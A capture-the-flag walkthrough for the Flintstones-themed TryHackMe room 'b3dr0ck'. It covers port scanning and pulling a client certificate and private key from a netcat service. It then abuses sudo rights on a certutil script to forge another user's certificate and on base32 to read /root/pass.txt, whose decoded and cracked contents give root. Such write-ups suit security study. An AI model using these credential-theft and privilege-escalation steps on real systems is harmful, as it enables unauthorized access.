Link to room: https://tryhackme.com/room/b3dr0ck
This was a fun room with it’s Flintstones theme and easter eggs. We also get to play with certificates a little bit, which is a less common technique for these rooms.
Enumeration
Our initial nmap
scan returns the usual ports 22 and 80, as well as something interesting on 9009.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(user㉿kali-linux-2022-2)-[~]
└─$ nmap -sC -sV 10.10.1.1
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-08 19:20 EDT
Nmap scan report for 10.10.1.1
Host is up (0.089s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 1a:c7:00:71:b6:65:f5:82:d8:24:80:72:48:ad:99:6e (RSA)
| 256 3a:b5:25:2e:ea:2b:44:58:24:55:ef:82:ce:e0:ba:eb (ECDSA)
|_ 256 cf:10:02:8e:96:d3:24:ad:ae:7d:d1:5a:0d:c4:86:ac (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://10.10.1.1:4040/
|_http-server-header: nginx/1.18.0 (Ubuntu)
9009/tcp open pichat?
| fingerprint-strings:
| NULL:
| ____ _____
| \x20\x20 / / | | | | /\x20 | _ \x20/ ____|
| \x20\x20 /\x20 / /__| | ___ ___ _ __ ___ ___ | |_ ___ / \x20 | |_) | |
| \x20/ / / _ \x20|/ __/ _ \| '_ ` _ \x20/ _ \x20| __/ _ \x20 / /\x20\x20| _ <| |
| \x20 /\x20 / __/ | (_| (_) | | | | | | __/ | || (_) | / ____ \| |_) | |____
| ___|_|______/|_| |_| |_|___| _____/ /_/ _____/ _____|
|_ What are you looking for?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9009-TCP:V=7.94%I=7%D=8/8%Time=64D2CDCB%P=aarch64-unknown-linux-gnu
[...]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 178.98 seconds
We’ll start with the website. Port 80 redirects us to 4040 and our first clue:
Foothold
🐇 This webserver leaks the path to it’s root but does not appear to be vulnerable to directory traversal.
We’ll hop into that port 9009 as instructed above with netcat, and find an interactive prompt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
┌──(user㉿kali-linux-2022-2)-[~]
└─$ nc 10.10.1.1 9009
__ __ _ _ ____ _____
\ \ / / | | | | /\ | _ \ / ____|
\ \ /\ / /__| | ___ ___ _ __ ___ ___ | |_ ___ / \ | |_) | |
\ \/ \/ / _ \ |/ __/ _ \| '_ ` _ \ / _ \ | __/ _ \ / /\ \ | _ <| |
\ /\ / __/ | (_| (_) | | | | | | __/ | || (_) | / ____ \| |_) | |____
\/ \/ \___|_|\___\___/|_| |_| |_|\___| \__\___/ /_/ \_\____/ \_____|
What are you looking for? warez
Sorry, unrecognized request: 'warez'
You use this service to recover your client certificate and private key
What are you looking for? client certificate
Sounds like you forgot your certificate. Let's find it for you...
-----BEGIN CERTIFICATE-----
MIICoTCCAYkCAgTSMA0GCSqGSIb3DQEBCwUAMBQxEjAQBgNVBAMMCWxvY2FsaG9z
dDAeFw0yMzA4MDgyMzIwMTNaFw0yNDA4MDcyMzIwMTNaMBgxFjAUBgNVBAMMDUJh
cm5leSBSdWJibGUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDSXa9g
PIJ3HukMtxix3k5lDSTb0qzMyEnce+45uWp3pydr0MISYGvrkbAyr2A4573X3VH+
X48HaFfmwFGtXlFjNdMXozsHfZJQOEgdTkbbzH6Bqio8w2BCTFGnKTnNrbc+yuf2
smZS7DgUAli/dryYvd25Uhnd1CupJxs4tRjwIpdqBJ93U5erVcSBkWVSEaS9QajT
QUo+PjtumRdpTmKSu0S8BB2llS+kODp5HKEaKIHye3aNdZ2eeZj/wt1GLqqgr5CC
+sY97qKh6GsKIo6IOgPaAwjZIWq28srjeEfelS4Ne+oh2xyPm6dV67EH3FaScdXO
wijHwoM/nPoYlzydAgMBAAEwDQYJKoZIhvcNAQELBQADggEBAHY1UOCNW3DsTB9l
+spzhOuwgjp9HFhtlcEObQwJRhMgKqWVrlduB24ZmMU91yy4GZr9zxhTsOw9S6Sc
oPZafJplZOLMz5dJ3gAx3ng9JmH6SbZaQwxkFE325iOGw5L53j2GCKifh21YA1aI
KIETbX4sUTRDTEWwZP5v87aSr0SUn8f6+BXrELXoUcaaJeJAaidtVk5WmgzMe+HS
+aRdR/+BTstU1BHqahqrlow5F0Cu+4y7/H7vsazIeV7HhbrqDl2N+YZO6d3EY3r5
hErE36WrFGLu3Vo9UAqTEiHN33/FLR6cd14z3mB6tZrrOWchy2jv5lD9Nchb11Wo
bchBAQM=
-----END CERTIFICATE-----
What are you looking for? private key
Sounds like you forgot your private key. Let's find it for you...
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0l2vYDyCdx7pDLcYsd5OZQ0k29KszMhJ3HvuOblqd6cna9DC
EmBr65GwMq9gOOe9191R/l+PB2hX5sBRrV5RYzXTF6M7B32SUDhIHU5G28x+gaoq
PMNgQkxRpyk5za23Psrn9rJmUuw4FAJYv3a8mL3duVIZ3dQrqScbOLUY8CKXagSf
d1OXq1XEgZFlUhGkvUGo00FKPj47bpkXaU5ikrtEvAQdpZUvpDg6eRyhGiiB8nt2
jXWdnnmY/8LdRi6qoK+QgvrGPe6ioehrCiKOiDoD2gMI2SFqtvLK43hH3pUuDXvq
Idscj5unVeuxB9xWknHVzsIox8KDP5z6GJc8nQIDAQABAoIBACeUvwnBeN7G7xyY
WsokxOVYisX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uoCqpJiMYKpqSTeS1Z
TtR/kXpFdEWA2fOqPq8FJkX9zqyKBxiGvBpHhJW8upd/FG4HU/pnmhb4OZU67kUN
Ucx2EpEMlm/iGpRbgkBD5yzJsFkzq0Ug94YLi9Y9sFoYfL2OSsqVFA==
-----END RSA PRIVATE KEY-----
🥚 Easter Egg: Fred ASCII Art
open to view
Fred was the only artwork I found at this point, but later enumeration of the filesystem revealed more characters are available here.Below is the easiest way I know to get clean copies of the key & certificate. Just delete out the extra cruft at the beginning and end of the files :
echo "cert" | nc 10.10.195.4 9009 > newcert
echo "key" | nc 10.10.195.4 9009 > newkey
Find More Ports
We’re going to need somewhere to use the certificate. Do a quick scan of the full port range:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(user㉿kali-linux-2022-2)-[~]
└─$ nmap -p- 10.10.1.1
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-08 21:57 EDT
Nmap scan report for 10.10.1.1
Host is up (0.088s latency).
Not shown: 65530 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
4040/tcp open yo-main
9009/tcp open pichat
54321/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 274.69 seconds
Become Barney
🐇 Rabbit Hole: Use Certificate in Firefox
We need to combine the cert and key into a .p12 file for Firefox to import it:
Firefox: certificate can’t be installed
openssl pkcs12 -export -in server.crt -inkey server.key -out server.p12
When we do, we find we have Barney’s certificate loaded.
Port 54321 does seem to want a certificate,
Firefox fails to connect or return content on this port.
Go back for help
1
2
3
4
5
What are you looking for? help
Looks like the secure login service is running on port: 54321
Try connecting using:
socat stdio ssl:MACHINE_IP:54321,cert=<CERT_FILE>,key=<KEY_FILE>,verify=0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(user㉿kali-linux-2022-2)-[~]
└─$ socat stdio ssl:10.10.195.4:54321,cert=newcert,key=newkey,verify=0
__ __ _ _ _____ _ _ _____ _
\ \ / / | | | | | __ \ | | | | | __ \ | |
\ \_/ /_ _| |__ | |__ __ _ | | | | __ _| |__ | |__ __ _ | | | | ___ | |
\ / _` | '_ \| '_ \ / _` | | | | |/ _` | '_ \| '_ \ / _` | | | | |/ _ \| |
| | (_| | |_) | |_) | (_| | | |__| | (_| | |_) | |_) | (_| | | |__| | (_) |_|
|_|\__,_|_.__/|_.__/ \__,_| |_____/ \__,_|_.__/|_.__/ \__,_| |_____/ \___/(_)
Welcome: 'Barney Rubble' is authorized.
b3dr0ck> help
Password hint: [redacted] (user = 'Barney Rubble')
b3dr0ck> ls
Unrecognized command: 'ls'
🐇 Rabbit Hole: Crack the Hash
The password ‘hint’ comes back as a hash with two likely formats:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(parallels㉿kali-linux-2022-2)-[~]
└─$ hash-identifier [redacted]
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
--------------------------------------------------
Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
As we were expressly given a user name, it might be reasonable to assume that this is an MD4 hash salted with the username. Attempting to crack with John doesn’t get us anywhere, and this format isn’t natively supported by hashcat.
Dropping the hash into crackstation.net does not get us anywhere either, so it’s likely not an unsalted MD4 or MD5 hash.
The provided hash is actually not a hint, it’s the ssh password for Barney. At this point we can ssh in and find Barney’s flag.
Become Fred
Intended Path
Some quick enumeration as Barney leads us to that /usr/share/abc
path that was leaked by the webserver. Here we find the certs
folder with some additional certificate files, including certs for Fred. Unfortunately we can’t read them directly. We do, however, have sudo
power for the certutil
application - so perhaps we can simply make our own certificates for Fred.
The certutil
application doesn’t seem to take the command line parameters we expect.
1
2
3
4
5
6
7
8
9
10
certutil -h
Cert Tool Usage:
----------------
Show current certs:
certutil ls
Generate new keypair:
certutil [username] [fullname]
Investigating further we find that it isn’t the standard package but rather it eventually runs the certs.js
program in /usr/share/abc/dist
.
We run it as:
sudo /usr/bin/certutil fred "Fred Flintstone" > /tmp/fred.txt
We can see by the timestamps that we’ve updated the certificate file on the server. we’ve also extracted copies for ourself in fred.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(remote) barney@b3dr0ck:/usr/share/abc$ ls -la certs
total 56
drwxrwxr-x 2 root root 4096 Apr 30 2022 .
drwxrwxr-x 8 root root 4096 Apr 29 2022 ..
-rw-r----- 1 root root 972 Aug 11 16:38 barney.certificate.pem
-rw-r----- 1 root root 1678 Aug 11 16:38 barney.clientKey.pem
-rw-r----- 1 root root 894 Aug 11 16:38 barney.csr.pem
-rw-r----- 1 root root 1678 Aug 11 16:38 barney.serviceKey.pem
-rw-r----- 1 root root 976 Aug 11 16:47 fred.certificate.pem
-rw-r----- 1 root root 1678 Aug 11 16:47 fred.clientKey.pem
-rw-r----- 1 root root 898 Aug 11 16:47 fred.csr.pem
-rw-r----- 1 root root 1678 Aug 11 16:47 fred.serviceKey.pem
-rw-r----- 1 root root 992 Aug 11 16:37 server.certificate.pem
-rw-r----- 1 root root 1678 Aug 11 16:37 server.clientKey.pem
-rw-r----- 1 root root 890 Aug 11 16:37 server.csr.pem
-rw-r----- 1 root root 1678 Aug 11 16:37 server.serviceKey.pem
Just clean these up into crt
anf key
files and use them to socat
to port 54321 to get Fred’s password and flag.
Alternate Path
In the /usr/share/abc/dist
folde we come across a file named server.js
. We run it through the beautify function in CyberChef. This appears to be the code for the application that we’ve been connecting to on ports 9009 and 54321. This code gave us Barney’s password so maybe it’s got Fred’s as well.
There are some suspicious-looking hashes set at the top of the code. Double base-64 decoding BARNEY_SEC
gives us Barney’s password, so FRED_SEC
should contain Fred’s.
1
2
3
4
5
6
7
8
9
10
11
var ABC_PORT = 9009;
var SEC_PORT = 54321;
var ABC_PROMPT = '\nWhat are you looking for? ';
var SEC_PROMPT = '\nb3dr0ck> ';
var FRED_SEC = dd('[redacted]]');
var BARNEY_SEC = dd('[redacted]');
var _a = process.env, _b = _a.SERVER_CERT_NAME, SERVER_CERT_NAME = _b === void 0 ? 'server.certificate.pem' : _b, _c = _a.SERVER_KEY_NAME, SERVER_KEY_NAME = _c === void 0 ? 'server.clientKey.pem' : _c, _d = _a.SERVER_CA_NAME, SERVER_CA_NAME = _d === void 0 ? 'server.certificate.pem' : _d;
var AbcServer = function () {
function AbcServer() {
this.sockets = [];
[...]
Sure enough,
[redacted]
double base-64 encoded yields [redacted]
We can now ssh in as Fred (or just su
over to his account) and get flag from /home/fred
Become root
As Fred we get sudo
permissions for base32
and base64
commands against a specific file in /root
so let’s try it:
1
2
fred@b3dr0ck:/usr/share/abc/dist$ sudo /usr/bin/base32 /root/pass.txt
J[redacted]U===
We know we’ve encoded it, so we decode back out of the base32 to get:
L[redacted]K
After playing with decodes a bit, we find that we can do from base-32
again then from base-64
to get what looks like an md5 hash. We crack with crackstation.io as below:
With the new password [redacted]
we can su
to root and grab the flag.